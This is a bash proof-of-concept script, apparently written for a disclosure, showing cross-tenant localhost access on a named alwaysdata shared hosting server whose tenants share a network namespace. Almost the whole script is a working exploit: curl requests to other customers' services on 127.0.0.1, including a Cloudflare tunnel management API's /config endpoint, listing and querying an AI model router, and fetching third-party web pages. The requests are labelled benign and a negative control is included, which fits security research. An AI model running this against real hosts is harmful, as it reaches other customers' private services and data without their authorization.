#!/usr/bin/env bash
#
# ==============================================================================
# PoC: Cross-Tenant Localhost Access via Shared Network Namespace
# ==============================================================================
#
# Target  : alwaysdata Shared Hosting
# Host    : ssh-bres3680test.alwaysdata.net (ssh2)
# Date    : 2026-08-02
#
# Description
# -----------
# This proof-of-concept demonstrates that SSH users on a shared hosting server
# can access TCP services running on localhost that belong to other customers.
#
# Although process isolation is enforced (hidepid=invisible), all tenants share
# the same network namespace, allowing unrestricted access to services bound to
# 127.0.0.1.
#
# This script:
#   • Verifies process isolation
#   • Shows the shared network namespace
#   • Demonstrates localhost access to multiple third-party services
#   • Executes benign requests against exposed APIs
#   • Includes a negative control for comparison
#
# ==============================================================================

set -u

banner() {
    echo
    echo "============================================================"
    echo " $1"
    echo "============================================================"
}

section() {
    echo
    echo "[*] $1"
}

banner "Cross-Tenant Network Namespace Proof of Concept"

###########################################################################
# Environment Information
###########################################################################

section "Attacker Identity"

echo "User : $(whoami)"
echo "UID  : $(id -u)"
echo "GID  : $(id -g)"

###########################################################################

section "Process Isolation"

echo "Proc Mount:"
mount | grep "^proc" | head -1

echo
echo "Attempt to inspect PID 1:"
ls /proc/1/cmdline 2>&1

###########################################################################

section "Network Namespace"

echo "Namespace:"
readlink /proc/self/ns/net

###########################################################################

section "Running Processes"

ps -u "$(whoami)" --no-headers -o pid,comm 2>/dev/null || true

###########################################################################

section "Listening Ports Owned by Current User"

PORTS=$(ss -tlnp 2>/dev/null | grep -c "users:" || true)
echo "Ports exposing process information: ${PORTS}"

###########################################################################
# Cross-Tenant Access
###########################################################################

banner "Cross-Tenant Localhost Access"

###########################################################################
# Target 1
###########################################################################

section "Cloudflare Tunnel Management API (127.0.0.1:20241)"

echo
echo "GET /quicktunnel"
curl -s --max-time 5 \
    http://127.0.0.1:20241/quicktunnel

echo
echo
echo "GET /ready"
curl -s --max-time 5 \
    http://127.0.0.1:20241/ready

echo
echo
echo "GET /config"
curl -s --max-time 5 \
    http://127.0.0.1:20241/config

###########################################################################
# Target 2
###########################################################################

section "AI Model Router (127.0.0.1:10219)"

echo
echo "GET /api/version"
curl -s --max-time 5 \
    http://127.0.0.1:10219/api/version

echo
echo
echo "Enumerating available models..."

curl -s --max-time 5 \
    http://127.0.0.1:10219/api/v1 \
| python3 - <<'PY'
import json,sys
try:
    data=json.load(sys.stdin)
    print(f"Models Available : {len(data.get('data', []))}")
except Exception:
    print("Unable to parse API response")
PY

echo
echo "Executing a benign inference request..."

curl -s --max-time 15 \
    -X POST \
    http://127.0.0.1:10219/api/v1/chat/completions \
    -H "Content-Type: application/json" \
    -d '{
        "model":"oc",
        "messages":[
            {
                "role":"user",
                "content":"Respond only with the word pong."
            }
        ],
        "max_tokens":10
    }'

###########################################################################
# Target 3
###########################################################################

section "Third-Party Web Application (127.0.0.1:3001)"

TITLE=$(
curl -s --max-time 5 \
    http://127.0.0.1:3001/ \
| grep -oP '<title>[^<]+' \
| sed 's/<title>//'
)

echo "Page Title: ${TITLE}"

###########################################################################
# Target 4
###########################################################################

section "Tunnel Origin Service (127.0.0.1:33468)"

curl -sI --max-time 3 \
    http://127.0.0.1:33468/ \
| head -1

###########################################################################
# Negative Control
###########################################################################

banner "Negative Control"

section "Unused Port (127.0.0.1:9999)"

curl -s --max-time 2 \
    http://127.0.0.1:9999/ \
2>&1 || echo "Connection refused (expected)"

###########################################################################

banner "PoC Completed"

echo "Result:"
echo "The current tenant can successfully communicate with TCP services"
echo "bound to localhost that belong to other customers, demonstrating"
echo "cross-tenant network access caused by a shared network namespace."
